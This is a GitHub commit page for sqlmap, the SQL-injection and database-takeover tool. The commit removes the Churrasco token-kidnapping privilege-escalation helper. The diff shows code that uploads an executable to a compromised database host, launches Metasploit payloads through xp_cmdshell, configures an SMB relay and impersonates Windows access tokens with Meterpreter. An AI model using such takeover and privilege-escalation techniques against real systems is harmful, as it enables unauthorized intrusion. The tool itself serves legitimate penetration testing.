Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 7d8cc1a

Browse files
bdamelebdamele
committed
Get rid of Churrasco (Token kidnapping technique to --priv-esc). Reasons why:
1. there's kitrap0d (MS10-015) which is far more reliable, just recently fixed 2. works only to priv esc basically on MSSQL when it runs as NETWORK SERVICE and the machine is not patched against MS09-012 which is "rare" (hopefully) nowadays. Now sqlmap relies on kitrap0d and incognito to privilege escalate the database process' user privileges to SYSTEM, both via Meterpreter. Minor layout adjustments.
1 parent 6b1ae62 commit 7d8cc1a

7 files changed

Lines changed: 21 additions & 94 deletions

File tree

‎doc/README.sgml‎

Lines changed: 11 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -225,12 +225,13 @@ blind SQL injection</bf>.
225225
<item>It is possible to provide a single target URL, get the list of
226226
targets from <htmlurl url="http://portswigger.net/suite/" name="Burp proxy">
227227
requests log file or
228-
<htmlurl url="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project" name="WebScarab proxy">
229-
<tt>conversations/</tt> folder, get the whole HTTP request from a text
230-
file or get the list of targets by providing sqlmap with a Google dork
231-
which queries <htmlurl url="http://www.google.com" name="Google"> search engine and
232-
parses its results page. You can also define a regular-expression based
233-
scope that is used to identify which of the parsed addresses to test.
228+
<htmlurl url="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project"
229+
name="WebScarab proxy"> <tt>conversations/</tt> folder, get the whole HTTP
230+
request from a text file or get the list of targets by providing sqlmap
231+
with a Google dork which queries <htmlurl url="http://www.google.com"
232+
name="Google"> search engine and parses its results page. You can also
233+
define a regular-expression based scope that is used to identify which of
234+
the parsed addresses to test.
234235

235236
<item>Automatically tests all provided <bf>GET</bf> parameters,
236237
<bf>POST</bf> parameters, HTTP <bf>Cookie</bf> header values and HTTP
@@ -639,7 +640,7 @@ Options:
639640
--os-pwn Prompt for an out-of-band shell, meterpreter or VNC
640641
--os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
641642
--os-bof Stored procedure buffer overflow exploitation
642-
--priv-esc User priv escalation by abusing Windows access tokens
643+
--priv-esc Database process' user privilege escalation
643644
--msf-path=MSFPATH Local path where Metasploit Framework 3 is installed
644645
--tmp-path=TMPPATH Remote absolute path of temporary files directory
645646

@@ -5051,11 +5052,9 @@ send the NTLM session hash when connecting to a SMB service
50515052
[hh:mm:16] [INFO] which is the back-end DBMS address? [172.16.213.131] 172.16.213.131
50525053
[hh:mm:16] [INFO] which remote port numer do you want to use? [4907] 4907
50535054
[hh:mm:16] [INFO] which payload do you want to use?
5054-
[1] Reflective Meterpreter (default)
5055-
[2] PatchUp Meterpreter (only from Metasploit development revision 6742)
5056-
[3] Shell
5057-
[4] Reflective VNC
5058-
[5] PatchUp VNC (only from Metasploit development revision 6742)
5055+
[1] Meterpreter (default)
5056+
[2] Shell
5057+
[3] VNC
50595058
> 1
50605059
[hh:mm:16] [INFO] which SMB port do you want to use?
50615060
[1] 139/TCP (default)

‎lib/contrib/tokenkidnapping/Churrasco.exe_‎

-122 KB
Binary file not shown.

‎lib/contrib/tokenkidnapping/README.txt‎

Lines changed: 0 additions & 11 deletions
This file was deleted.

‎lib/parse/cmdline.py‎

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -352,8 +352,7 @@ def cmdLineParser():
352352
"exploitation")
353353

354354
takeover.add_option("--priv-esc", dest="privEsc", action="store_true",
355-
help="User priv escalation by abusing Windows "
356-
"access tokens")
355+
help="Database process' user privilege escalation")
357356

358357
takeover.add_option("--msf-path", dest="msfPath",
359358
help="Local path where Metasploit Framework 3 "

‎lib/takeover/metasploit.py‎

Lines changed: 6 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -185,7 +185,7 @@ def __selectEncoder(self, encode=True):
185185
elif kb.os == "Windows" and encode:
186186
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
187187

188-
def __selectPayload(self, askChurrasco=True):
188+
def __selectPayload(self):
189189
if kb.os == "Windows" and conf.privEsc:
190190
infoMsg = "forcing Metasploit payload to Meterpreter because "
191191
infoMsg += "it is the only payload that can be used to "
@@ -249,19 +249,7 @@ def __selectPayload(self, askChurrasco=True):
249249

250250
break
251251

252-
elif not askChurrasco:
253-
logger.warn("beware that the VNC injection might not work")
254-
255-
break
256-
257252
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
258-
uploaded = self.uploadChurrasco()
259-
260-
if not uploaded:
261-
warnMsg = "beware that the VNC injection "
262-
warnMsg += "might not work"
263-
logger.warn(warnMsg)
264-
265253
break
266254

267255
elif not choice.isdigit():
@@ -312,12 +300,12 @@ def __selectLhost(self):
312300
def __selectConnection(self):
313301
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
314302

315-
def __prepareIngredients(self, encode=True, askChurrasco=True):
303+
def __prepareIngredients(self, encode=True):
316304
self.connectionStr = self.__selectConnection()
317305
self.lhostStr = self.__selectLhost()
318306
self.rhostStr = self.__selectRhost()
319307
self.portStr = self.__selectPort()
320-
self.payloadStr = self.__selectPayload(askChurrasco)
308+
self.payloadStr = self.__selectPayload()
321309
self.encoderStr = self.__selectEncoder(encode)
322310

323311
if self.payloadStr == "linux/x86/shell":
@@ -350,7 +338,7 @@ def __forgeMsfConsoleCmd(self):
350338
def __forgeMsfConsoleResource(self):
351339
self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
352340

353-
self.__prepareIngredients(encode=False, askChurrasco=False)
341+
self.__prepareIngredients(encode=False)
354342

355343
self.__resource = "use windows/smb/smb_relay\n"
356344
self.__resource += "set SRVHOST %s\n" % self.lhostStr
@@ -426,9 +414,6 @@ def __runMsfPayloadRemote(self):
426414

427415
cmd = "%s &" % self.exeFilePathRemote
428416

429-
if self.cmdFromChurrasco and kb.stackedTest:
430-
cmd = "%s \"%s\"" % (self.churrascoPath, cmd)
431-
432417
if kb.dbms == "Microsoft SQL Server" and kb.stackedTest:
433418
cmd = self.xpCmdshellForgeCmd(cmd)
434419

@@ -462,7 +447,7 @@ def __loadMetExtensions(self, proc, metSess):
462447
infoMsg = "displaying the list of Access Tokens availables. "
463448
infoMsg += "Choose which user you want to impersonate by "
464449
infoMsg += "using incognito's command 'impersonate_token' if "
465-
infoMsg += "'getsystem' did not success to elevate privileges"
450+
infoMsg += "'getsystem' does not success to elevate privileges"
466451
logger.info(infoMsg)
467452

468453
proc.stdin.write("list_tokens -u\n")
@@ -534,7 +519,7 @@ def createMsfShellcode(self, exitfunc, format, extra, encode):
534519
self.__shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr)
535520

536521
self.__initVars()
537-
self.__prepareIngredients(encode=encode, askChurrasco=False)
522+
self.__prepareIngredients(encode=encode)
538523
self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra)
539524

540525
logger.debug("executing local command: %s" % self.__payloadCmd)

‎plugins/generic/takeover.py‎

Lines changed: 0 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -54,32 +54,9 @@ class Takeover(Abstraction, Metasploit, Registry):
5454
def __init__(self):
5555
self.cmdTblName = "sqlmapoutput"
5656
self.tblField = "data"
57-
self.cmdFromChurrasco = False
5857

5958
Abstraction.__init__(self)
6059

61-
def uploadChurrasco(self):
62-
msg = "do you want sqlmap to upload Churrasco and call the "
63-
msg += "Metasploit payload stager as its argument so that it "
64-
msg += "will be started as SYSTEM? [y/N] "
65-
66-
output = readInput(msg, default="N")
67-
68-
if output and output[0] in ( "y", "Y" ):
69-
tmpFile = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_CONTRIB_PATH, "tokenkidnapping", "Churrasco.exe_"))
70-
71-
wFile = tmpFile.name
72-
self.churrascoPath = "%s/tmpc%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
73-
self.cmdFromChurrasco = True
74-
75-
self.writeFile(wFile, self.churrascoPath, "binary", confirm=False)
76-
77-
tmpFile.close()
78-
79-
return True
80-
else:
81-
return False
82-
8360
def osCmd(self):
8461
stackedTest()
8562

@@ -172,27 +149,6 @@ def osPwn(self):
172149
debugMsg += "user, no need to privilege escalate"
173150
logger.debug(debugMsg)
174151

175-
elif kb.dbms == "PostgreSQL":
176-
debugMsg = "by default PostgreSQL on Windows runs as postgres "
177-
debugMsg += "user which has no access to LSASS: it is "
178-
debugMsg += "unlikely that the privilege escalation "
179-
debugMsg += "via 'incognito' extension will be successful"
180-
logger.debug(debugMsg)
181-
182-
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
183-
debugMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0]
184-
debugMsg += "runs as Network Service which has Windows "
185-
debugMsg += "Impersonation Tokens"
186-
logger.debug(debugMsg)
187-
188-
uploaded = self.uploadChurrasco()
189-
190-
if not uploaded:
191-
debugMsg = "beware that the privilege escalation "
192-
debugMsg += "might not work via Churrasco if "
193-
debugMsg += "MS09-012 patch is installed"
194-
logger.debug(debugMsg)
195-
196152
elif kb.os != "Windows" and conf.privEsc:
197153
# Unset --priv-esc if the back-end DBMS underlying operating
198154
# system is not Windows

‎sqlmap.conf‎

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -375,10 +375,9 @@ osSmb = False
375375
# Valid: True or False
376376
osBof = False
377377

378-
# Local User privilege escalation by abusing Windows access tokens using
379-
# Meterpreter incognito extension.
380-
# Note: Use in conjunction with osPwn or osSmb. It will force the payload
381-
# to be Meterpreter.
378+
# Database process' user privilege escalation.
379+
# Note: Use in conjunction with osPwn, osSmb or osBof. It will force the
380+
# payload to be Meterpreter.
382381
privEsc = False
383382

384383
# Local path where Metasploit Framework 3 is installed.

0 commit comments

Comments
 (0)